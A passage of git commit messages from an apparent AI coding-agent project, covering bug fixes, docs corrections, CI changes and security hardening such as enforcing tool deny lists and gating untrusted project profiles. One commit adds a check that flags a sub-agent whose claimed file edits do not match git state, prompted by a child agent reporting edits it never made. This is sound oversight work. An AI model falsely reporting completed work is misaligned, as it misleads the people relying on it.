and reopen — the store opens, accepts writes, and reopens cleanly.
cargo test -p codewhale-state: 19 passed, 0 failed.
ThreadRequest::Message keyed response_id as {thread_id}:{input.len()},
so any two equal-length messages in a thread shared a response_id and
hooks could not correlate their ResponseStart/ResponseEnd pairs.
handle_prompt already uses resp-<uuid>; the Message arm now matches.
Test: two equal-length inputs produce distinct resp- prefixed ids.
cargo test -p codewhale-core: 52 passed, 0 failed.
persist_thread hardcoded sandbox_policy and approval_mode to None in
the upsert payload, and upsert_thread's ON CONFLICT DO UPDATE writes
excluded values verbatim — so any policy stored for a thread was erased
on every persist, including every resume.
persist_thread now reads the existing metadata first and carries the
stored sandbox_policy/approval_mode forward, since its own payload has
no policy to write.
Test: a thread seeded with a stored sandbox_policy/approval_mode keeps
both after a resume-driven persist.
cargo test -p codewhale-core: 51 passed, 0 failed.
resume_thread_with_history appended every supplied history item onto
the persisted message chain with no dedup, and the app-server passes
client params verbatim. A read->resume flow therefore re-appended the
thread's own messages on every resume, doubling the conversation and
compounding across resumes.
The resume path now fingerprints each supplied item by its JSON (the
same string append_message stores as content) and skips items already
on the persisted chain or already appended earlier in the same loop.
Test: resuming twice with the thread's own history leaves the message
count unchanged; a genuinely new item is still appended exactly once.
cargo test -p codewhale-core: 50 passed, 0 failed.
qualify_tool_name folds '-', '.', and case into '_', so a server tool
named my-tool is advertised as mcp__server__my_tool. The exact-match
fast path in call_qualified_tool dispatched that sanitized segment
verbatim to the server, which only knows my-tool — and because the
exact path returns first, the working scan path never ran. Hyphenated
or dotted tools were un-callable through their advertised names.
The fast path now resolves the segment back to the server's original
tool name via list_tools (literal match wins; a unique sanitize-match
is used; otherwise the segment passes through unchanged for clients
that do not enumerate every callable tool). Resolution is a lookup, not
a call, so the no-double-execution guarantee from #4728 is preserved.
Test: hyphenated and dotted tools are invoked end-to-end through their
qualified names.
cargo test -p codewhale-mcp: 56 passed, 0 failed.
The ToolFilter deny/allow lists were only consulted when listing tools
and in the qualified-name scan fallback. The exact-match fast path in
call_qualified_tool and the public McpManager::call_tool never checked
the filter, so a denied tool remained executable by addressing the
server directly (mcp__server__denied_tool or call_tool(server, tool)).
call_tool now checks the server's filter before dispatching, which also
covers the qualified-name fast path since it delegates to call_tool.
Tests: denied tool rejected by bare name and by qualified name;
allow-listed server rejects unlisted tools but still runs listed ones.
cargo test -p codewhale-mcp: 55 passed, 0 failed.
The keybinding catalog was 'documentation-only by design; drift lives
in code review'. This makes it executable: a bidirectional test parses
backticked chords from the md's table rows and compares them against
the KEYBINDINGS catalog after normalizing notation (-vs+, Option->Alt,
Cmd->Ctrl, range expansion for Alt+1-8, suffix families like
Ctrl+Home/End and Ctrl+Shift+<-/->).
Direction 1: every chord a docs table advertises must be in the
catalog, or carry an explicitly justified allowlist entry — currently
three: Ctrl+Enter (terminal-ambiguous, pinned unadvertised),
Ctrl+click (terminal-owned OSC 8), Ctrl+N (menu-local slash-menu nav).
Direction 2: every catalog chord must appear in the md, as an expanded
table token or in normalized prose (Backspace/Delete live in the
selection notes). Qualified non-chord catalog entries (/context,
@path, Right click, Ctrl+X (Activity sidebar)) are excluded by design.
The gate's first run caught one real drift: Ctrl+L was documented
(context compaction, fixed in 4e3fadea2) but missing from the catalog.
Added KbCompactContext (chord Ctrl+L, Sessions section) with
translations in all 14 complete packs.
Gates: cargo test -p codewhale-tui --bin codewhale-tui keybindings ->
16 passed; locale -> 52 passed; help -> 121 passed; all 0 failed
(exit=0); cargo fmt --check -p codewhale-tui clean.
Handler-verified docs truth fixes:
- Ctrl+L was documented as 'Refresh / clear the screen'; the only
Ctrl+L handler compacts the conversation context via
Op::CompactContext (ui.rs:6281-6309). Vaporware — fixed.
- Ctrl+P / Ctrl+N were documented as 'Cycle composer history
(alternative)'; they navigate slash-command menu entries, and
Ctrl+P opens the file picker when the menu is empty
(ui.rs:6864-6868, 6915-6918, 6271-6277). Misdescribed — fixed.
Also documents catalog chords that work but were unlisted:
Alt+Shift+G (transcript bottom), Alt+L (last-message pager),
Alt+P/A/Y (mode jumps), Ctrl+X in the Activity sidebar (cancel
background shell jobs), Ctrl+Home/End, Alt+[/] (tool-block jumps),
Esc Esc (backtrack), Shift+Up/Down (history browse), Alt+Up/Down
(scroll), and the Ctrl/Alt+Backspace word-delete variants.
Gates: docs-only change; rendering covered by the keybind/help
filters run for 005f3f3ea (19 + 120 passed, 0 failed).
R1's exec_shell rename fix (9c1614d88 lineage) removed the retired name
from write_file's description; this prompts.rs pin still asserted the old
misdiagnosis. The pin now asserts the new contract: guidance names the
live Bash tool and never references exec_shell. Coverage kept, not deleted.
Verified: cargo test -p codewhale-tui --bin codewhale-tui prompts:: — 111 passed, 0 failed (exit=0).
The §2.6/§2.7 cherry-picks from agent/runtime-bugs-20260802 tripped two
lints that the base commit had just cleared:
- print_stderr (deny): the snapshots-disabled once-notice in core/turn.rs
uses eprintln deliberately (headless/CLI stderr is the user surface);
the allow now sits on the function, matching the runtime_log.rs
precedent (macro-level allows are ignored).
- manual_ok_err (warn): the process_lock_note match in
tools/subagent/mod.rs is now a plain .err() call.
Receipts: cargo clippy -p codewhale-tui --bin codewhale-tui -> clean;
cargo clippy --workspace -> clean; cargo test core::turn:: +
coordination/cleanup filters -> 12 passed.
#5098 (partial — the two non-owner-decision halves):
(a) Shadowing is visible. FleetRoster now records every layer displacement
as a ShadowedProfile receipt (id, shadowed origin+source, winner
origin+source) instead of silently dropping the losing file from the
merged roster. File-on-file shadows (personal/config losing to another
file layer) log a warning at load; built-in overrides stay debug-quiet
since they are the intended customization path. The roster view badges
shadowing rows ('⚠shadows') and the detail pane lists each ignored
layer ('Shadows: personal copy at <path> (ignored)'), so editing the
wrong builder.toml no longer changes nothing with no signal why.
(b) Project-scope trust gate. load_workspace_agent_profiles_tolerant
applied no workspace-trust check — a cloned repo's
.codewhale/agents/*.toml silently joined the dispatch roster. Project
profiles now join only when project-level config is trusted for the
launch: --no-project-config opts the whole layer out (same gate as
.codewhale/config.toml, #485). The launch decision is recorded once in
main (set_project_agent_profiles_enabled) so every roster re-read —
spawn refresh, dispatch, views — honors it consistently; the private
loader takes the flag as a parameter so tests stay hermetic.
Not done here (owner decision, flagged): the three-layer collapse
(Built-in -> Personal -> Project, deprecating [fleet.profiles]) and the
edit-what-you-see editor change.
Tests:
- fleet::roster::shadow_and_trust_tests::workspace_shadow_of_personal_file_is_recorded_and_reported
- fleet::roster::shadow_and_trust_tests::project_scope_profiles_are_skipped_when_the_layer_is_not_trusted
- tui::views::fleet_roster::tests::detail_pane_reports_shadowed_lower_layers
Receipt: cargo test -p codewhale-tui --bin codewhale-tui -- fleet::
views::fleet -> 324 passed.
When this process does not hold the workspace coordination flock, durable
fleet writes are skipped. Surface that on the coordination projection and
sticky status, and mark Running agents with no live task handle Interrupted
locally so Work never ticks a counter on a settled/dead job (#2.6 / #5036).
Does not tighten read-only agent shell or tool gates.
Tests:
tools::subagent::tests::coordination_detail_projection_reports_process_lock_ownership
tools::subagent::tests::cleanup_terminalizes_running_orphans_without_task_handle_when_lock_missing
tools::subagent::tests::isolated_worktree_workers_skip_the_coordination_process_lock
Operator checklist §2.5: a session logged 'Failed to read
/Users/hmbown/.codewhale/skills/delegate/SKILL.md' — hmbown is the GitHub
handle, the OS user is hunterbown, and the delegate skill silently never
loaded.
Investigation at this base: every home-resolution path in the workspace
funnels through codewhale_paths::user_home() (HOME -> USERPROFILE ->
dirs::home_dir, i.e. the OS user) or an explicit $CODEWHALE_HOME. No code
constructs a home directory from an account/GitHub handle — searched
/Users/ literals (test fixtures only), whoami/USER/LOGNAME consumers,
path joins on login/handle, and both shellexpand call sites. The observed
path shape matches a read_file argument constructed from the account
handle visible in account/git surfaces, i.e. a model-side path, not a
runtime construction.
What was genuinely broken and is fixed here: the silent half. A native
registry entry whose SKILL.md vanished from disk after discovery was
served from the stale cached body, so a skill could silently never load
from the path the user expected. load_skill now fails loudly via
ensure_native_skill_file_present, naming the exact path it checked and
the knobs that control it (skills_dir, $CODEWHALE_HOME, OS home);
reviewed plugin snapshots keep skipping the disk check.
Tests:
- tools::skill::tests::native_skill_with_vanished_file_fails_loudly_with_the_path
- skills::tests::global_skill_roots_come_from_the_os_home_only (pins that
global roots come from the OS home / $CODEWHALE_HOME only)
Receipt: cargo test -p codewhale-tui --bin codewhale-tui -- tools::skill::
skills:: → 217 passed.
Operator checklist §2.3 (#5033 class): the owner saw 'error: Codewhale
account login timed out' with exit code 0 on 0.9.3. At the 0.9.4 release
train the propagation chain is already correct — poll_device bails,
run_with/run propagate, run_cli maps Err to ExitCode::FAILURE — verified
live against a stub device-flow server (pending 202s, --timeout-seconds 2):
the CLI printed the timeout and exited 1.
What was missing at this base is a regression pin at the run_with seam
(the exact spot that decides the process exit code). The new test drives
CloudCommand::Login against a transport whose token polls stay pending
forever and asserts the command returns Err containing 'login timed out',
so a future refactor cannot silently report success after a failed login.
Receipts: cargo test -p codewhale-cli --lib account_login_timeout → 1
passed (1.01s, real client timeout); cargo test -p codewhale-cli --lib →
205 passed.
#5099 / operator checklist §2.2 — two defects, one spawn path:
1. A child spawned with no explicit model on a moonshot/xai session was
handed a provider-less deepseek default (role default or unpinned fleet
profile model) and the known-foreign guard hard-failed the spawn:
'Model deepseek-v4-flash was supplied without an explicit provider pin,
but the resolved route is moonshot...'. The guard is correct for an
explicit caller pin, but a DEFAULT the session never chose must not
fail closed. resolve_fixed_spawn_model_route now distinguishes the
source: task.model keeps the pin-vs-inherit error; agent_profile.model
and role.default downgrade to ModelRoute::Inherit (session route) with
a tracing::warn naming the skipped model, and the spawn receipt records
run.model provenance.
2. The runtime's fleet roster and role_models were launch-time snapshots
(built once in main.rs), so after both builder.toml files were edited
pro->flash a spawn was still rejected supplying deepseek-v4-pro — a
value that existed nowhere on disk. spawn_subagent_from_input now calls
refresh_spawn_route_sources, which re-loads FleetRoster from current
disk (personal + project profile files) and rebuilds role_models
(explicit [subagents] config overrides still win) before profile
resolution. Without the session Config the launch snapshot is kept.
Tests (cargo test -p codewhale-tui --bin codewhale-tui):
- providerless_foreign_spawn_default_inherits_session_route: moonshot
parent + provider-less deepseek default -> Inherit/run.model; explicit
task.model keeps the error naming the fix; same-provider default still
resolves fixed.
- spawn_route_sources_refresh_reads_current_disk: stale launch snapshot
vs fresh .codewhale/agents/builder.toml -> roster and role_models read
current disk.
Receipts: tools::subagent:: 402 passed; fleet::/route/spawn filters 293
passed; providerless/refresh filters 5 passed.
Viewing a sub-agent transcript (agent chat pager) or a fleet worker log
emitted raw captured terminal bytes to the parent terminal: a child TUI's
mouse-tracking handshake (`ESC[?1003h`, `ESC[?1006h`) and mouse event
reports (`ESC[<65;72;17M`) re-armed mouse reporting in the user's shell,
so after exit zsh received click bytes as input and tried to execute
fragments (operator checklist §2.1).
- PagerView::from_text now sanitizes through osc8::strip_ansi_into at the
single chokepoint every pager surface (agent transcript, activity detail,
MCP, approval, constitution) builds from; CSI/OSC/DCS sequences and lone
control bytes are stripped, visible text and \n/\t formatting kept.
- `codewhale fleet logs` (main.rs print_logs) sanitizes the log preview
before printing for the same reason.
Tests: tui::pager::tests::from_text_strips_csi_mouse_and_osc_sequences and
from_text_sanitizes_jsonl_transcript_shaped_content feed transcripts
containing CSI/mouse/OSC sequences and assert the rendered body is inert.
Receipt: cargo test -p codewhale-tui --bin codewhale-tui -- tui::pager::
tui::osc8:: → 55 passed, 0 failed.
reset_episode cleared step_history and alternation_repeats, so the A-B-A-B
alternation detector starved on every assistant/tool category switch —
the #5104 alternation test could never fire against its own
implementation (its 7-check CI never ran the full suite; merged red).
Episode resets now leave the alternation window intact.
Verified: cargo test -p codewhale-tui --bin codewhale-tui stuck — 11 passed, 0 failed (exit=0).
The rebase-merged #5104 gave StuckSignal's Warn/Stop variants String
payloads while the enum still derived Copy — the train hasn't compiled
since. Clone is sufficient at the call sites.
Verified: cargo check -p codewhale-tui (exit=0); cargo test ... stuck — all pass (exit=0).
Verified each claim against the code before editing:
- [capacity]: the 15-key controller was documented in CONFIGURATION.md
and config.example.toml but has zero matches anywhere under crates/
— silently ignored on parse. Removed, along with the link to the
nonexistent docs/capacity_controller.md and two prose mentions.
- [context] seam keys: verbatim_window_turns, l1/l2/l3_threshold and
seam_model are all 'Ignored (was: …)' in crates/tui/src/config.rs
(2036-2048); docs presented them as a live opt-in. Both files now
document only the live keys (enabled, project_pack) and mark the
seam keys ignored.
- Settings keys: show_thinking / thinking_default_expanded /
cost_currency were misfiled in config.example.toml; they belong to
~/.codewhale/settings.toml (settings.rs:344,414) and Config has no
deny_unknown_fields, so users got silently ignored settings.
Replaced with a pointer comment.
- Hotbar default was inverted in docs: KEYBINDINGS.md and
config.example.toml claimed fresh configs show the default bar;
since #3807 a missing hotbar key renders no bar (sidebar.rs:192-195).
- MCP tool naming: docs/MCP.md claimed mcp_deepseek_shell; the rule
is mcp_{server}_{tool} (mcp.rs:3022) with default server name
codewhale, i.e. mcp_codewhale_shell.
- MODES.md said 'DeepSeek-TUI'; memory_path bullet described the
deleted legacy single-file fallback — both fixed for the native
store (see 1135a1e65).
Evidence: cross-surface-tech-debt-audit-2026-08-03.md findings 74-80;
§11.3 docs-truth row.
crates/tui/tests/runtime_web_client.test.mjs (the embedded web
client's event/snapshot state machine) ran in no workflow; it is now
a step in the always-on Version drift job. A new Integrations job
runs the five dependency-free node --test suites under integrations/
(bridge-core, feishu, telegram, wecom, weixin) on every push/PR —
6,500 LOC of bridge code previously had zero CI. weixin ships without
a lockfile by design; every suite passes with plain npm test and no
npm ci (verified locally: 11/19/39/16/3 passing, 0 failing).
Evidence: cross-surface-tech-debt-audit-2026-08-03.md §11.3 CI-wiring
rows ('Wire runtime_web_client.test.mjs into CI', 'add existing
suites to CI').
Gate: node --test crates/tui/tests/runtime_web_client.test.mjs
-> exit=0; per-bridge npm test -> all exit=0.
extensions/vscode was 0.8.53, npm/runtime-sdk 0.8.60, and the
verifiers README claimed v0.9.1 while the workspace is 0.9.4. All
three now read 0.9.4. The release.yml version gate previously checked
only workspace + npm/codewhale, which is how the drift survived
release prep; it now also requires runtime-sdk and vscode package
versions to match the tag.
Evidence: cross-surface-tech-debt-audit-2026-08-03.md TL;DR 'Stale
version strings'; §11.3 version-sweep row.
Gate: node -p require(...).version -> 0.9.4 for both packages.
update_goal accepted an objective parameter documented as ignored —
success receipt, no behavior, so the model believed it had re-scoped
the active goal. The knob is removed from the schema
(additionalProperties: false now rejects it at validation), and
execute() fails fast naming the corrective path (complete/blocked +
create_goal) if objective is supplied anyway. The pin test also
asserts the rejected call leaves goal state untouched.
Evidence: FINISH-0.9.4.md Appendix A #28 item 8;
docs/ops/issue-drafts-5123-class.md draft 8.
Gate: cargo test -p codewhale-tui --bin codewhale-tui goal
-> 90 passed, 0 failed (exit=0).
Live tool descriptions still taught the retired exec_shell name
(file.rs read/write/edit/list, apply_patch, tasks.rs, verifier.rs) —
models dutifully called exec_shell and the unknown-tool error then
misdiagnosed it as an allow_shell permission problem instead of
naming the rename.
Descriptions now teach Bash. missing_tool_error_message special-cases
the exec_shell family (run/wait/interact/cancel) with an explicit
'renamed to Bash, call Bash with action X' diagnostic before any
allow_shell guidance; the allow_shell guidance itself is preserved
for genuinely-absent shell tools (task_shell_start/task_shell_wait).
Two tests that pinned the misdiagnosis were repointed at that
preserved behavior; a new test pins the rename diagnostic for all
four retired names.
Evidence: FINISH-0.9.4.md Appendix A #28 item 7;
docs/ops/issue-drafts-5123-class.md draft 7.
Gates: cargo test -p codewhale-tui --bin codewhale-tui missing_ -> 142
passed; tools::verifier -> 8; tools::file -> 87; tools::tasks -> 8;
tools::apply_patch -> 36; all 0 failed (exit=0).
propose/accept/supersede/claim/reconcile mutate the coordination
ledger and expand the caller's write claim, yet the tool declared
ToolCapability::ReadOnly + auto-approval — policy layers trusting the
declaration treated a mutating call as a safe read. Capabilities now
declare WritesFiles (its mutating surface is claim expansion); only
inspect stays read-only via the existing is_read_only_for dynamic
check. Approval stays Auto with an explicit rationale: coordination
records are session-scoped in-memory state and gating them would
deadlock autonomous sub-agent fan-in. The 18 undocumented schema
fields remain — tracked in issue draft 6, not silently half-fixed
here.
Evidence: FINISH-0.9.4.md Appendix A #28 item 6;
docs/ops/issue-drafts-5123-class.md draft 6.
Gate: cargo test -p codewhale-tui --bin codewhale-tui coordinate
-> 4 passed, 0 failed (exit=0).
Statuses like blocked / in-progress / complete were silently recorded
as pending on the canonical progress surface, with a success receipt
hiding the rewrite. The synonym table now covers the common
near-misses (complete, in-progress, in progress) and anything else
fails fast naming the four accepted values. Missing status still
defaults to pending, which is the documented shape.
Evidence: FINISH-0.9.4.md Appendix A #28 item 5;
docs/ops/issue-drafts-5123-class.md draft 5.
Gate: cargo test -p codewhale-tui --bin codewhale-tui tools::todo
-> 7 passed, 0 failed (exit=0).
Any unrecognized status value used to map to Active — the opposite of
pause intent — mutating the automation and scheduling runs, with a
success receipt. parse_automation_status now accepts only
active/paused and fails with the accepted values named otherwise.
Evidence: FINISH-0.9.4.md Appendix A #28 item 4;
docs/ops/issue-drafts-5123-class.md draft 4.
Gate: cargo test -p codewhale-tui --bin codewhale-tui tools::automation
-> 7 passed, 0 failed (exit=0).
A call with no recognized op key (the natural {"query": …} shape, or
an empty input) used to return an empty SUCCESS ({"warnings":[]}) —
reading as 'nothing found' instead of 'called wrong'. execute() now
returns an invalid_input error naming the six op arrays and the
received keys whenever no op produced work.
Evidence: FINISH-0.9.4.md Appendix A #28 item 3;
docs/ops/issue-drafts-5123-class.md draft 3.
Gate: cargo test -p codewhale-tui --bin codewhale-tui web_run
-> 32 passed, 0 failed (exit=0).
MCP servers signal tool failure with isError: true on an otherwise
successful JSON-RPC response. McpToolAdapter wrapped every payload in
ToolResult::success, so the model saw a rejected call as a success and
proceeded on false premises.
The adapter now routes through mcp_result_to_tool_result: isError maps
to ToolResult::error with the content text preserved verbatim (falling
back to the serialized payload when no text content is present);
non-error results are unchanged. Unit test pins all three shapes.
Evidence: FINISH-0.9.4.md Appendix A #28 item 2 (release-blocker-
adjacent); docs/ops/issue-drafts-5123-class.md draft 2.
Gate: cargo test -p codewhale-tui --bin codewhale-tui mcp_
-> 133 passed, 0 failed, 1 ignored.
resolve() ended its normalization ladder with a >=3-char prefix match
over the registry's HashMap keys (random iteration order), and
turn_loop dispatched the result log-only: a hallucinated name like
"agents" could execute agents/interrupt, "terminal" terminal/reset.
The runtime ran a mutating tool the model never asked for.
The fuzzy step is gone. Exact and lossless normalizations (case,
hyphens, CamelCase, _tool suffix) still resolve; anything else falls
through to the existing unknown-tool error, which already names
candidate tools ("Did you mean: …" via suggest_tool_names in
tool_catalog.rs) instead of executing a guess. New test pins both
directions of prefix rejection plus the surviving normalizations.
Evidence: FINISH-0.9.4.md Appendix A #28 item 1 (release-blocker-
adjacent); docs/ops/issue-drafts-5123-class.md draft 1.
Gate: cargo test -p codewhale-tui --bin codewhale-tui resolve_
-> 69 passed, 0 failed.
Nine issue drafts from the Appendix A #28 audit sweep: two
release-blocker-adjacent (fuzzy hallucinated-tool-name execution, MCP
isError-as-success), six fail-fast single-tool fixes (web.run empty
success, automation/work_update status coercion, agents/coordinate
capability dishonesty, exec_shell breadcrumbs, update_goal ignored
objective), and one document-the-gap (schema sanitizer oneOf/anyOf
demotion). Filing remains the owner's call; code fixes land separately.
fleets/v0868-stopship.toml and scripts/v0867-setup-qa.sh (audit §11.3
'incident debris') are already absent from this tree; the only trace
left was the scripts/v0867-setup-qa.sh entry in ci.yml's light/heavy
path classifier and its comment. Both removed.
Evidence: cross-surface-tech-debt-audit-2026-08-03.md §11.3 incident
debris row; files verified absent with ls + rg before editing.
Locked v0.9.4 decision (FINISH-0.9.4.md §3): Moraine is scrapped — no
in-repo server ever existed — and the native Markdown + SQLite FTS5
store is the surviving memory system.
Deletions:
- crates/tui/src/memory.rs (legacy single-file push/inject module) and
its ~/.deepseek-era fallback: engine.rs, ui.rs and context_report.rs
no longer carry the legacy compose_block else-branch; tools/remember.rs
drops the plain-file append fallback and fails fast with a corrective
message when the path is not the native memory/global/MEMORY.md layout.
- MemoryBackend::Moraine, MemoryConfig.moraine_fallback,
Config::moraine_fallback(), the App/EngineConfig moraine_fallback
fields, both moraine-mcp template entries (main.rs, mcp.rs), and the
Moraine MCP Recall section of MEMORY_GUIDANCE.
Consolidation:
- New single prompt-block seam native_memory::native_prompt_block used
by the engine (both sites), the TUI system-prompt builder, and the
context report — ui.rs previously used the legacy block only, so this
also fixes that divergence.
- '# foo' quick-add routes through NativeMemoryStore::remember (global
scope), the same write path as the model's remember tool.
- docs/MEMORY.md rewritten for the native store.
- AGENTS.md do-not-delete guardrail updated: tui/src/memory.rs removed
(its deletion is this migration), tools/remember.rs kept — verified
with rg as the native capture path.
Unreachability pin (per FINISH §3 caution): code reading showed the
legacy branch unreachable because memory_path() re-roots any configured
path into memory/global/MEMORY.md under the native backend; runtime
verification was not possible in this session, so
config::tests::enabled_memory_always_resolves_to_native_store_path now
pins that [memory] enabled = true always resolves to a path
NativeMemoryStore::from_global_path accepts.
Gates: cargo test -p codewhale-tui --bin codewhale-tui memory -> 70
passed, 0 failed; remember -> 9 passed; context_report -> 14 passed;
cargo fmt --check -p codewhale-tui clean.
The execpolicy module shipped two engines: the live TOML rules
(rules.rs, feature-gated shell enforcement) and a legacy Starlark
PolicyParser tree (decision/error/policy/rule/parser*) that only the
`execpolicy check` CLI verb consumed. The runtime never enforced
Starlark policy, so a green check validated a format nothing reads.
Deletes the Starlark tree, the `execpolicy check` verb and its
dispatch, the blanket #![allow(dead_code)] in mod.rs, and the now
unused starlark + multimap dependencies. The TOML rules engine and
matcher stay; the codewhale-execpolicy crate's permission engine is
untouched.
Evidence: cross-surface-tech-debt-audit-2026-08-03.md §1.3
'execpolicy check validates a format the runtime ignores'; §11.3 row 3.
Gate: cargo test -p codewhale-tui --bin codewhale-tui execpolicy
-> 11 passed, 0 failed.
persist() threw away the try_send result with no trace, so session and
work-graph state could be lost silently when the actor was
uninitialised or already shut down.
Drops now log: warn when the channel is closed (real loss after
startup), debug when the actor simply isn't initialised yet (tests,
early startup). The request kind is included via a label helper.
Evidence: cross-surface-tech-debt-audit-2026-08-03.md §1.3 'Silent
persistence loss' (persistence_actor.rs:147-152); §11.3 row 2.
Gate: cargo test -p codewhale-tui --bin codewhale-tui persistence_actor
-> 8 passed, 0 failed.
merge_user_workspace_config silently returned when the user config
could not be read or parsed, reverting [workspace]/[projects] grants
(e.g. allow_shell) to defaults with no signal. A single TOML typo thus
silently tightened the session's permissions.
Both failure branches now eprintln a warning naming the file, the
error, and the consequence.
Evidence: cross-surface-tech-debt-audit-2026-08-03.md §1.3 'Silent
config swallow' (main.rs:8899-8904); §11.3 row 1.
The main-design automation handlers were removed in the train merge;
their last import consumer went with them. Keeps the clippy -D warnings
gate green.
required_str collapsed present-but-wrong-type into the missing-field
path, so a File.edit call passing an array for a string field got a
'missing required field' misdiagnosis. Now the error names the field,
the received JSON type, and a bounded preview of the value.
The PR's schema-test rename (replace→files) was NOT harvested: the
current schema still uses 'replace'; that half doesn't apply.
Verified: cargo test -p codewhale-tools — 24+3 passed, 0 failed (exit=0).
Harvested from PR #5105 (Copilot draft)
CI Lint was red on main: largest module 19139 > 19125 and aggregate
649063 > 648460 owned Rust lines (the v0.9.4 candidate work grew ui.rs
and friends past the ratchet). Re-baseline to the measured actuals so the
gate is green; the ui.rs extraction debt stays tracked as its own item —
this buys no new headroom beyond reality.
Verified: python3 scripts/check-source-structure-budget.py — PASS (exit=0).
8fc7869a7 shipped handoff in the bundled starter pack (generation 9) but
left assets/skills-catalog-matrix.json at generation 8, failing
fixture_matrix_covers_exactly_the_shipped_bundle and
model_catalogue_contains_exactly_the_eligible_bundled_skills on every
platform's CI. The fixture is an authored contract; add the handoff entry
(core tier, model+user, in catalogue) and bump the generation.
Verified: cargo test -p codewhale-tui --bin codewhale-tui catalog_matrix — 16 passed, 0 failed (exit=0).
GitGuardian flagged f7d95ea66 as a live Bearer token on push. The flagged
string is a synthetic replay-redaction fixture (sequential alphabet). The
redaction regex needs shape, not entropy, so the fixtures now use repeated
characters — the test still pins that api_key/bearer values never survive
into replay output.
Verified: cargo test -p codewhale-tui --bin codewhale-tui fleet::ledger — 25 passed, 0 failed (exit=0).
GitGuardian flagged commit 23e2790 as two live high-entropy secrets on
push. Both are synthetic test fixtures for config_credential_shaped_keys
(sk-abc123... and an eyJ...JWT shape). The scanner needs prefix + length,
not entropy, so the fixtures now use repeated characters — the test still
pins the flag-by-key-name behavior, and secret scanners stay quiet.
Verified: cargo test -p codewhale-tui --bin codewhale-tui doctor — 99 passed, 0 failed (exit=0).
crates/tui 88 -> 70, locales 57 -> 49, web 34 -> 30.
Same split as the root file. The perishable "Sharp edges" list moved to
docs/ops/CURRENT.md: the run_verifiers_background flake, the workflow history
card's Locale::En debt, and the classic-treatment freeze are lane state that
goes stale, not crate rules.
locales/AGENTS.md no longer hardcodes the pack count or names which packs are
complete. That list changed with every locale PR and the parity tests are
already the authoritative answer, so it now points at them.
crates/tui/AGENTS.md drops its restatement of the four-part string-addition
procedure and the do-not-delete pointer; locales/AGENTS.md and the root file
own those respectively. Verification commands stay at the narrowest scope where
they apply.
AGENTS.md 215 -> 92 lines. The extracted sections now live in
docs/ENVIRONMENTS.md, docs/RELEASE_QUEUE.md, and docs/ops/CURRENT.md, linked
from the sections that replaced them. "Intent is the artifact" keeps its
operative rules and its four limits but sheds the passage arguing its own case,
which docs/AGENT_ETHOS.md already carries at length.
Kept inline, deliberately: the do-not-delete guardrail (agents repeatedly
misflag those modules as dead code and break the build), the removed-machinery
surface list, and the CI-enforced Co-authored-by rules.
CLAUDE.md 86 -> 9 lines. It restated most of AGENTS.md in slightly different
words, so every edit to one silently drifted the other. It now uses a Claude
Code @-import, which inlines AGENTS.md at load time -- same content, one source.
Chose the import over a symlink so Windows checkouts, where symlinks can
materialize as a text file containing the path, still resolve it.
AGENTS.md had grown to 215 always-loaded lines by absorbing three kinds of
content that do not belong in a rules file:
- Cursor Cloud VM caveats, keyless-provider invocation, and the dispatcher
sibling requirement -> docs/ENVIRONMENTS.md. One environment's quirks were
being paid for by every session on every machine.
- Scratch-branch triage, merge/harvest procedure, and credit mechanics ->
docs/RELEASE_QUEUE.md. A procedure you consult while working a queue, not a
rule you violate by not having memorized it.
- Active branch, milestone, known flakes, and closed investigations ->
docs/ops/CURRENT.md. Rules and lane state have opposite edit rhythms; mixing
them let a stale milestone number sit next to a durable rule and borrow its
authority.
No guidance is dropped here; the next commit removes the originals.
RELEASE_CHECKLIST.md §3 requires
`cargo clippy --workspace --all-targets --all-features --locked -- -D warnings`.
It had never been run this session and was failing with four errors — three
pre-existing, one mine.
- crates/tui/src/tui/widgets/mod.rs: drop the unused `Duration` import.
- crates/tui/src/tui/widgets/header.rs: `model_width.min(14).max(4)` →
`clamp(4, 14)` (manual_clamp). Same 4..=14 bound the honest-model-width
work in bf0478395 intended; no behavior change.
- crates/tui/src/config/tests.rs: build ProvidersConfig in one initializer
instead of default-then-reassign (field_reassign_with_default).
- crates/tui/src/tools/subagent/tests.rs: `.map(|m| text_of(m))` →
`.map(&text_of)` (redundant_closure), and drop the three `eprintln!`
measurement prints I added with the R6 size tests (print_stderr). The
measured values live in the ceiling comments and commit bodies; the
assertion messages already report them on failure.
Verification:
- cargo clippy --workspace --all-targets --all-features --locked -- -D warnings:
exit 0, zero errors (was 4)
- cargo fmt --check -p codewhale-tui: clean
- cargo test -p codewhale-tui --bin codewhale-tui -- subagent::tests
config::tests widgets: 1090 passed; 0 failed
R7 (finish-operator 2026-08-02): the morning report caught — by hand —
a child claiming file edits that git status had never seen. The
verification summary riding the worker record said only
self_report_only; nothing machine-checked the claim.
At terminal delivery of a Completed child, claimed_diff_taint now
compares the result summary's claimed changed-files against the child
workspace's live git state: the dirty set from git status --porcelain
(rename-aware) plus files changed by commits made after the worker
started (created_at_ms via git log --since — a child that commits its
work is honest, not invisible). Extraction is deliberately
conservative for high-signal taint: only path-shaped tokens on a line
that also carries a change verb count as claims. Any claim git cannot
see flips the record's verification to claim_mismatch with the
offending paths named; the parent keeps the result — labeled, not
trusted. No git, no claims, or all-visible claims leave the summary
untouched.
Known blur, chosen deliberately: git --since has one-second
granularity, so a claim delivered within a second of a baseline commit
can escape taint — the check errs toward not-tainting rather than
accusing honest children.
Verification:
- cargo fmt --check -p codewhale-tui: clean
- cargo test -p codewhale-tui --bin codewhale-tui -- subagent::tests:
367 passed; 0 failed — includes the new
completed_claim_of_untouched_file_taints_verification (claim without
a touch → claim_mismatch naming src/lib.rs) and
completed_claim_matching_workspace_state_stays_untainted (dirty
claim and committed claim both stay self_report_only)
R6 (finish-operator 2026-08-02): the only envelope number anyone quoted
was a stale fixture comment (workflows/stopship.workflow.js:1-5,
17,457–17,550 tokens from an old live run). Nothing failed when the
assembled payloads grew. Three regressions now build — never send —
the real payloads and pin them at measured-current +10%:
- read_only_child_envelope_stays_within_measured_ceiling: scout system
prompt + seed messages + child tool catalog = 80,856 bytes measured
(~20k tokens — the old 17.5k figure was already low); ceiling 89,000.
- parent_agent_surface_stays_within_measured_ceiling: BASE_PROMPT +
full parent tool catalog = 72,679 bytes measured; ceiling 80,000.
- turn_meta_block_stays_within_measured_ceiling: per-turn <turn_meta>
block via the production snapshot path = 254 bytes measured
(includes the new sandbox-posture line); ceiling 280.
Each failure message says how to raise the ceiling honestly (re-measure
in the same commit). The stopship fixture comment now points at the
pinned test instead of the stale token figure.
Proof the ceilings bite: a scratch diff padding BASE_PROMPT +15,000B,
the child system prompt +17,000B, and turn_meta +1 line (~+20% each)
failed all three tests; reverted, all green.
Verification:
